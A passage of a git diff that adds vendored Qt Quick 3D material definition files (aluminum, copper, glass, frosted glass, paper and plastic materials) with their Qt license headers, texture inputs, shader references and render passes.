+import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real reflection_map_offset: 0.5 + property real reflection_map_scale: 0.3 + property vector3d tiling: Qt.vector3d(1, 1, 1) + property real roughness_map_offset: 0.16 + property real roughness_map_scale: 0.4 + property vector3d metal_color: Qt.vector3d(0.95, 0.95, 0.95) + property real intensity: 1.0 + property vector3d emission_color: Qt.vector3d(0, 0, 0) + property vector3d emissive_mask_offset: Qt.vector3d(0, 0, 0) + property real bump_amount: 0.5 + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + id: uEnvironmentTexture + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/shadow.png" + } + } + + property TextureInput reflection_texture: TextureInput { + enabled: true + texture: Texture { + id: reflectionTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/grunge_b.png" + } + } + + property TextureInput roughness_texture: TextureInput { + enabled: true + texture: Texture { + id: roughnessTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/grunge_d.png" + } + } + + property TextureInput emissive_texture: TextureInput { + id: emissiveTexture + enabled: true + texture: Texture { + id: emissiveImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/emissive.png" + } + } + + property TextureInput emissive_mask_texture: TextureInput { + id: emissiveMaskTexture + enabled: true + texture: Texture { + id: emissiveMaskImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/emissive_mask.png" + } + } + + property TextureInput bump_texture: TextureInput { + enabled: true + texture: Texture { + id: bumpTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/grunge_d.png" + } + } + + Shader { + id: aluminumEmissiveShader + stage: Shader.Fragment + shader: "shaders/aluminumEmissive.frag" + } + + passes: [ + Pass { + shaders: aluminumEmissiveShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumMaterial.qml new file mode 100644 index 00000000..ecddb272 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/AluminumMaterial.qml @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + property real reflection_map_offset: 0.5 + property real reflection_map_scale: 0.3 + property real roughness_map_offset: 0.16 + property real roughness_map_scale: 0.4 + property real bump_amount: 0.5 + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property vector3d tiling: Qt.vector3d(1, 1, 1) + property vector3d metal_color: Qt.vector3d(0.95, 0.95, 0.95) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + id: uEnvironmentTexture + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/shadow.png" + } + } + property TextureInput reflection_texture: TextureInput { + enabled: true + texture: Texture { + id: reflectionTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/grunge_b.png" + } + } + property TextureInput roughness_texture: TextureInput { + enabled: true + texture: Texture { + id: roughnessTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/grunge_d.png" + } + } + property TextureInput bump_texture: TextureInput { + enabled: true + texture: Texture { + id: bumpTexture + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/grunge_d.png" + } + } + + Shader { + id: aluminumFragShader + stage: Shader.Fragment + shader: "shaders/aluminum.frag" + } + + passes: [ + Pass { + shaders: aluminumFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/CopperMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/CopperMaterial.qml new file mode 100644 index 00000000..b01692a1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/CopperMaterial.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uEnvironmentMappingEnabled: false + property bool uShadowMappingEnabled: false + property real roughness: 0.0 + property vector3d metal_color: Qt.vector3d(0.805, 0.395, 0.305) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + + Shader { + id: copperFragShader + stage: Shader.Fragment + shader: "shaders/copper.frag" + } + + passes: [ Pass { + shaders: copperFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassMaterial.qml new file mode 100644 index 00000000..a3488e74 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassMaterial.qml @@ -0,0 +1,236 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property real roughness: 0.0 + property real blur_size: 8.0 + property real refract_depth: 5 + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real glass_bfactor: 0.0 + property bool glass_binside: false + property real uFresnelPower: 1.0 + property real reflectivity_amount: 1.0 + property real glass_ior: 1.5 + property real intLightFall: 2.0 + property real intLightRot: 0.0 + property real intLightBrt: 0.0 + property real bumpScale: 0.5 + property int bumpBands: 1 + property vector3d bumpCoords: Qt.vector3d(1.0, 1.0, 1.0) + property vector2d intLightPos: Qt.vector2d(0.5, 0.0) + property vector3d glass_color: Qt.vector3d(0.9, 0.9, 0.9) + property vector3d intLightCol: Qt.vector3d(0.9, 0.9, 0.9) + hasTransparency: true + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Refraction | ShaderInfo.Glossy + } + + property TextureInput glass_bump: TextureInput { + enabled: true + texture: Texture { + id: glassBumpMap + source: "maps/spherical_checker.png" + } + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + property TextureInput randomGradient1D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient1D.png" + } + } + property TextureInput randomGradient2D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient2D.png" + } + } + property TextureInput randomGradient3D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient3D.png" + } + } + property TextureInput randomGradient4D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient4D.png" + } + } + + Shader { + id: mainShader + stage: Shader.Fragment + shader: "shaders/frostedThinGlass.frag" + } + Shader { + id: noopShader + stage: Shader.Fragment + shader: "shaders/frostedThinGlassNoop.frag" + } + Shader { + id: preBlurShader + stage: Shader.Fragment + shader: "shaders/frostedThinGlassPreBlur.frag" + } + Shader { + id: blurXShader + stage: Shader.Fragment + shader: "shaders/frostedThinGlassBlurX.frag" + } + Shader { + id: blurYShader + stage: Shader.Fragment + shader: "shaders/frostedThinGlassBlurY.frag" + } + + Buffer { + id: frameBuffer + name: "frameBuffer" + format: Buffer.Unknown + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 1.0 + bufferFlags: Buffer.None // aka frame + } + + Buffer { + id: dummyBuffer + name: "dummyBuffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 1.0 + bufferFlags: Buffer.None // aka frame + } + + Buffer { + id: tempBuffer + name: "tempBuffer" + format: Buffer.RGBA16F + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 0.5 + bufferFlags: Buffer.None // aka frame + } + + Buffer { + id: blurYBuffer + name: "tempBlurY" + format: Buffer.RGBA16F + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 0.5 + bufferFlags: Buffer.None // aka frame + } + + Buffer { + id: blurXBuffer + name: "tempBlurX" + format: Buffer.RGBA16F + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 0.5 + bufferFlags: Buffer.None // aka frame + } + + passes: [ Pass { + shaders: noopShader + output: dummyBuffer + commands: [ BufferBlit { + destination: frameBuffer + } + ] + }, Pass { + shaders: preBlurShader + output: tempBuffer + commands: [ BufferInput { + buffer: frameBuffer + param: "OriginBuffer" + } + ] + }, Pass { + shaders: blurXShader + output: blurXBuffer + commands: [ BufferInput { + buffer: tempBuffer + param: "BlurBuffer" + } + ] + }, Pass { + shaders: blurYShader + output: blurYBuffer + commands: [ BufferInput { + buffer: blurXBuffer + param: "BlurBuffer" + }, BufferInput { + buffer: tempBuffer + param: "OriginBuffer" + } + ] + }, Pass { + shaders: mainShader + commands: [BufferInput { + buffer: blurYBuffer + param: "refractiveTexture" + }, Blending { + srcBlending: Blending.SrcAlpha + destBlending: Blending.OneMinusSrcAlpha + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassSinglePassMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassSinglePassMaterial.qml new file mode 100644 index 00000000..fc8ccdbf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/FrostedGlassSinglePassMaterial.qml @@ -0,0 +1,129 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + property real roughness: 0.0 + property real blur_size: 8.0 + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real uFresnelPower: 1.0 + property real reflectivity_amount: 1.0 + property real glass_ior: 1.5 + property real bumpScale: 0.5 + property real noiseScale: 2.0 + property int bumpBands: 1 + property vector3d noiseCoords: Qt.vector3d(1.0, 1.0, 1.0) + property vector3d bumpCoords: Qt.vector3d(1.0, 1.0, 1.0) + property vector3d glass_color: Qt.vector3d(0.9, 0.9, 0.9) + hasTransparency: true + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Refraction | ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + property TextureInput randomGradient1D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient1D.png" + } + } + property TextureInput randomGradient2D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient2D.png" + } + } + property TextureInput randomGradient3D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient3D.png" + } + } + property TextureInput randomGradient4D: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/randomGradient4D.png" + } + } + + Shader { + id: frostedGlassSpFragShader + stage: Shader.Fragment + shader: "shaders/frostedThinGlassSp.frag" + } + + Buffer { + id: tempBuffer + name: "temp_buffer" + format: Buffer.Unknown + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 1.0 + bufferFlags: Buffer.None // aka frame + } + + passes: [ Pass { + shaders: frostedGlassSpFragShader + commands: [ BufferBlit { + destination: tempBuffer + }, BufferInput { + buffer: tempBuffer + param: "refractiveTexture" + }, Blending { + srcBlending: Blending.SrcAlpha + destBlending: Blending.OneMinusSrcAlpha + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/GlassMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/GlassMaterial.qml new file mode 100644 index 00000000..82e876d5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/GlassMaterial.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uEnvironmentMappingEnabled: false + property bool uShadowMappingEnabled: false + property real uFresnelPower: 1.0 + property real uMinOpacity: 0.5 + property real reflectivity_amount: 0.5 + property real glass_ior: 1.5 + property vector3d glass_color: Qt.vector3d(0.6, 0.6, 0.6) + hasTransparency: true + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Transparent | ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + + Shader { + id: simpleGlassFragShader + stage: Shader.Fragment + shader: "shaders/simpleGlass.frag" + } + + passes: [ Pass { + shaders: simpleGlassFragShader + commands: [ Blending { + srcBlending: Blending.SrcAlpha + destBlending: Blending.OneMinusSrcAlpha + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/GlassRefractiveMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/GlassRefractiveMaterial.qml new file mode 100644 index 00000000..de89521b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/GlassRefractiveMaterial.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uEnvironmentMappingEnabled: true + property bool uShadowMappingEnabled: false + property real uFresnelPower: 1.0 + property real reflectivity_amount: 1.0 + property real glass_ior: 1.5 + property real roughness: 0.0 + property vector3d glass_color: Qt.vector3d(0.9, 0.9, 0.9) + hasTransparency: true + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Refraction | ShaderInfo.Glossy + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + + Shader { + id: simpleGlassRefractiveFragShader + stage: Shader.Fragment + shader: "shaders/simpleGlassRefractive.frag" + } + + Buffer { + id: tempBuffer + name: "temp_buffer" + format: Buffer.Unknown + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + sizeMultiplier: 1.0 + bufferFlags: Buffer.None // aka frame + } + + passes: [ Pass { + shaders: simpleGlassRefractiveFragShader + commands: [ BufferBlit { + destination: tempBuffer + }, BufferInput { + buffer: tempBuffer + param: "refractiveTexture" + }, Blending { + srcBlending: Blending.SrcAlpha + destBlending: Blending.OneMinusSrcAlpha + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PaperArtisticMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PaperArtisticMaterial.qml new file mode 100644 index 00000000..18d927a6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PaperArtisticMaterial.qml @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uEnvironmentMappingEnabled: false + property bool uShadowMappingEnabled: false + property real bump_amount: 0.5 + property real uTranslucentFalloff: 0.0 + property real uDiffuseLightWrap: 0.0 + property real uOpacity: 100.0 + property real transmission_weight: 0.2 + property real reflection_weight: 0.8 + property vector2d texture_tiling: Qt.vector2d(5.0, 5.0) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Transmissive | ShaderInfo.Diffuse + } + + property TextureInput uEnvironmentTexture: TextureInput { + enabled: uEnvironmentMappingEnabled + texture: Texture { + id: envImage + source: "maps/spherical_checker.png" + } + } + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + property TextureInput diffuse_texture: TextureInput { + enabled: true + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/paper_diffuse.png" + } + } + property TextureInput bump_texture: TextureInput { + enabled: true + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/art_paper_normal.png" + } + } + property TextureInput transmission_texture: TextureInput { + enabled: true + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/art_paper_trans.png" + } + } + + Shader { + id: paperArtisticFragShader + stage: Shader.Fragment + shader: "shaders/paperArtistic.frag" + } + + passes: [ Pass { + shaders: paperArtisticFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PaperOfficeMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PaperOfficeMaterial.qml new file mode 100644 index 00000000..6e55ddf3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PaperOfficeMaterial.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + // These properties names need to match the ones in the shader code! + property bool uShadowMappingEnabled: false + property real bump_amount: 0.5 + property real uTranslucentFalloff: 0.0 + property real uDiffuseLightWrap: 0.0 + property real uOpacity: 100.0 + property real transmission_weight: 0.2 + property real reflection_weight: 0.8 + property vector2d texture_tiling: Qt.vector2d(1.0, 1.0) + property vector3d paper_color: Qt.vector3d(0.531, 0.531, 0.531) + + shaderInfo: ShaderInfo { + version: "330" + type: "GLSL" + shaderKey: ShaderInfo.Transmissive | ShaderInfo.Diffuse + } + + property TextureInput uBakedShadowTexture: TextureInput { + enabled: uShadowMappingEnabled + texture: Texture { + id: shadowImage + source: "maps/shadow.png" + } + } + property TextureInput diffuse_texture: TextureInput { + enabled: true + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/paper_diffuse.png" + } + } + property TextureInput bump_texture: TextureInput { + enabled: true + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/paper_diffuse.png" + } + } + property TextureInput transmission_texture: TextureInput { + enabled: true + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/paper_trans.png" + } + } + + Shader { + id: paperOfficeFragShader + stage: Shader.Fragment + shader: "shaders/paperOffice.frag" + } + + passes: [ Pass { + shaders: paperOfficeFragShader + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedEmissiveMaterial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedEmissiveMaterial.qml new file mode 100644 index 00000000..72cef762 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/PlasticStructuredRedEmissiveMaterial.qml @@ -0,0 +1,125 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: 